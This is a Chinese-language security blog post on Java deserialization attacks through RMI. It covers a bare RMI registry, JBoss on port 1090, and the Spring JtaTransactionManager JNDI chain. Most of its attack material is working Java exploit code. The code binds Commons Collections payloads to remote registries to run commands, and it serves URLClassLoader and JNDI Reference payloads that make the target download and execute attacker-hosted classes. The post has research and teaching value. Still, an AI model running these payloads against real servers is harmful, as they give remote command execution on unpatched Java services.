Author:angelwhu
在闡述java反序列化漏洞時,原文中提到:
Java LOVES sending serialized objects all over the place. For example:
In HTTP requests – Parameters, ViewState, Cookies, you name it.
RMI – The extensively used Java RMI protocol is 100% based on serialization
RMI over HTTP – Many Java thick client web apps use this – again 100% serialized objectsJMX – Again, relies on serialized objects being shot over the wire Custom Protocols – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come
在java使用RMI機制時,會使用序列化對象進行數據傳輸。這就會產生java反序列化漏洞。利用范圍是很大。
之后,綠盟科技提到了JBoss中存在RMI機制方面的漏洞。最近又有了spring框架RCE漏洞,這個漏洞利用與RMI密切相關。
這里便整理關于RMI漏洞的相關漏洞,并進行簡要利用分析。
摘自網絡的簡要介紹:
RMI是Remote Method Invocation的簡稱,是J2SE的一部分,能夠讓程序員開發出基于Java的分布式應用。一個RMI對象是一個遠程Java對象,可以從另一個Java虛擬機上(甚至跨過網絡)調用它的方法,可以像調用本地Java對象的方法一樣調用遠程對象的方法,使分布在不同的JVM中的對象的外表和行為都像本地對象一樣。
這里看出它的功能中是可以通過網絡進行對象的傳輸,使其可以進行遠程對象調用。下面就寫一個簡單的RMI程序,說明其存在反序列化漏洞問題。
首先簡單的實現一個服務端,啟用RMI服務,綁定在6600端口:
#!java
public class Run {
public static void main(String[] args) {
try {
//PersonServiceInterface personService=new PersonServiceImp();
//注冊通訊端口
LocateRegistry.createRegistry(6600);
//注冊通訊路徑
//Naming.rebind("rmi://127.0.0.1:6600/PersonService", personService);
System.out.println("Service Start!");
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
上述代碼中代碼中,本來我使用bind
函數,將personService
對象綁定在服務器端供外部調用。
但我發現,即使沒有任何對象綁定,只是用一行代碼LocateRegistry.createRegistry(6600);
,開通RMI服務。然后,通過訪問服務端口(這里的6600端口),即可實現反序列化攻擊。
這里進行利用當然遵從java反序列化漏洞中一個條件:Apache Commons Collections
或者其他存在缺陷的第三方庫包含在lib路徑中。這里使用的是commons-collections-3.1.jar
,將其加入到lib路徑中。
這樣,上述簡單的RMI應用程序滿足了反序列化漏洞的兩個條件:
Apache Commons Collections
第三方庫在lib路徑中。攻擊代碼的編寫:
#!java
Object instance = PayloadGeneration.generateExecPayload("calc");
InvocationHandler h = (InvocationHandler) instance;
Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},h));//動態代理Rmote接口。
Registry registry = LocateRegistry.getRegistry(ip, port);//服務器端的ip和端口
try{
registry.bind("pwned", r); // r is remote obj
}
catch (Throwable e)
{
e.printStackTrace();
}
這里將java反序列化漏洞的payload封裝了下,PayloadGeneration.generateExecPayload("calc");
會產生一個執行calc
命令的對象,有興趣的可以在我的github上查看源碼。然后,將我們的payload發送到RMI服務端口進行攻擊。
registry.bind("pwned", r);
中r對象必須繼承Remote
接口。所以這里使用了java動態代理技術來代理Remote接口并生成其對象r
。然后使用bind
函數便可將攻擊payload發送到RMI服務中,遠程執行calc
命令,攻擊完成。本機測試如下:
這里可以看到,只要應用服務器上使用了RMI服務,并使用了Apache Commons Collections
第三方庫,就可能存在反序列化命令執行的漏洞。
值得關注的是,RMI服務的攻擊,同樣可以使用URLClassLoader
方法進行回顯。
#!java
Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://****/java/", "exploit.ErrorBaseExec", "do_exec", "pwd");
同樣,將封裝好的payload換成URLClassLoader
的攻擊負載。便能加載遠程的exploit.ErrorBaseError
類,執行pwd
命令,即可回顯。這是我在Ubuntu上運行服務端進行的測試結果。
這里說明了應用程序在使用RMI機制時,會存在反序列化的問題。如果恰好使用了有缺陷的第三方庫,那就可以遠程命令執行了。接下來,看看實際場景中的相關漏洞。
JBOSS符合我們在上述討論中的兩個條件:
jndi
和端口1090則是RMI服務端口。 Apache Commons Collections
第三方庫。于是就可以說存在遠程命令執行漏洞了。 在綠盟科技的文章中,提到了JBOSS中存在使用RMI機制的問題,可以在JMXInvoker刪除的情況下獲取shell。 于是可以這樣重現命令執行。
使用如下命令啟動jboss,默認就會對外開放所有端口。當然10.10.10.135代表本機ip。
#!bash
./run.sh -b 10.10.10.135
首先,掃描一下jboss服務器端口,這里我使用的是jboss-6.1.0.Final
版本,安裝在Ubuntu虛擬機中。使用nmap掃描結果如下:
#!bash
1090/tcp open ff-fms
1091/tcp open ff-sm
1098/tcp open rmiactivation
1099/tcp open rmiregistry
4446/tcp open n1-fwp
5500/tcp open hotline
8009/tcp open ajp13
8080/tcp open http-proxy
8083/tcp open us-srv
發現1090端口和1099端口對外開放了。也就是說RMI服務對外開放了。
在這里說一下,在jboss利用上面,按照原文的代碼利用,沒有重現成功。其中有payload的問題,所以使用了我自己寫的封裝好的payload,比較方便。另外,我們一開始認為攻擊1099端口,我的好同學研究發現應該是1090端口,這才攻擊成功。
于是有了以下攻擊代碼:
#!java
Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://******:8080/java/", "exploit.ErrorBaseExec", "do_exec", "pwd");
InvocationHandler h = (InvocationHandler) instance;
Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},h));
Registry registry = LocateRegistry.getRegistry("10.10.10.135", 1090);
try{
registry.bind("pwned", r); // r is remote obj
}
catch (Throwable e)
{
e.printStackTrace();
}
運行代碼,并攻擊Jboss可以得到如下執行結果:
這個漏洞涉及JNDI和RMI服務,比較有趣。代碼細節分析請參考資料中的第三個,分析的非常好,就不班門弄斧了。這里簡單理清這個攻擊的步驟。
與Apache Commons Collections
這個庫的反序列化利用類似,我們需要將spring框架中的lib包,包含在CLASSPATH
中。這個要求比較苛刻,需要的包也比較多:
翻譯下原文的命令執行代碼鏈:
spring-tx.jar
中包含org.springframework.transaction.jta.JtaTransactionManager
類,這個類存在JNDI的反序列化問題。
它的readObject() 方法執行中含有這樣的一個路徑:
#!bash
initUserTransactionAndTransactionManager()->
lookupUserTransaction()->
JndiTemplate.lookup()->
InitialContext.lookup(userTransactionName)
InitialContext.Lookup()
會調用 userTransactionName
屬性,這個屬性是我們可以控制的。
查閱JNDI使用,可以發現userTransactionName
屬性可以是一個外網的RMI路徑,比如:rmi://10.10.10.1:1099/Object
。
于是我們可以自己搭建一個RMI服務器,讓目標服務器來訪問下載執行準備好的任意java代碼。
服務端搭建在Ubuntu虛擬機上,簡單地建立一個socket進行數據傳輸并反序列化解析。代碼自行查閱github~~
簡要畫的原理如下:
Client端即為攻擊方,它向目標服務器發送JtaTransactionManager
序列化對象后,會觸發server端進行訪問Client端(即:這時的RMI服務器端)中的RMI服務,去下載任意java對象進行執行。關鍵代碼為:
#!java
//創建RMI服務
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new javax.naming.Reference("client.ExportObject","client.ExportObject","http://"+ localAddress +"/");
//訪問rmi服務時,會轉到該url地址中下載client.ExportObject類,并新建對象。
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper);
String jndiAddress = "rmi://"+localAddress+":1099/Object";
//通過jndi訪問rmi服務
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
測試遠程執行ifconfig
命令,可在服務端看到執行成功,同時客戶端看到了訪問記錄。結果如下:
java反序列漏洞影響很大,RMI機制也是冰山一角。期待相互交流研究。